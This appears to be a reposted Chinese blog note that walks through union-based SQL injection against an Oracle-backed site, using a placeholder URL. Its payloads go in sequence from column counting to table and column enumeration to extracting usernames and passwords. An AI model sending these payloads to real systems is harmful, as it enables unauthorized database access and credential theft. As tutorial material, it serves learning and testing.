数据库
首页 > 数据库> > 基于Oracle网站的SQL注入

基于Oracle网站的SQL注入

作者:互联网

基于Oracle网站的SQL注入

参考链接1
参考链接2

www.vuln-web.com/photo.php?id=1' order by 1--
Working
www.vuln-web.com/photo.php?id=1' order by 10-- 

www.vuln-web.com/photo.php?id=1' order by 7--
Working
www.vuln-web.com/photo.php?id=1' order by 9--
Working
www.vuln-web.com/photo.php?id=1' union select null,null,null,null,null,null,null,null,null from dual--
Working fine
www.vuln-web.com/photo.php?id=1' union select null,ora.database_name,null,null,null,null,null,null,null from dual--

(从 dual 中选择 ora_database_name)
(从 dual 中选择 sys.database_name)
(从global_name 中选择 global_name )

www.vuln-web.com/photo.php?id=1' union select null,table_name,null,null,null,null,null,null,null from all_tables--

www.vuln-web.com/photo.php?id=1' union select null,column_name,null,null,null,null,null,null,null from all_tab_columns where table_name='user_table'--

www.vuln-web.com/photo.php?id=1' union select null,username||password,null,null,null,null,null,null,null from user_table--

标签:基于,name,--,photo,www,vuln,SQL,Oracle,null
来源: https://www.cnblogs.com/soulblog/p/15782532.html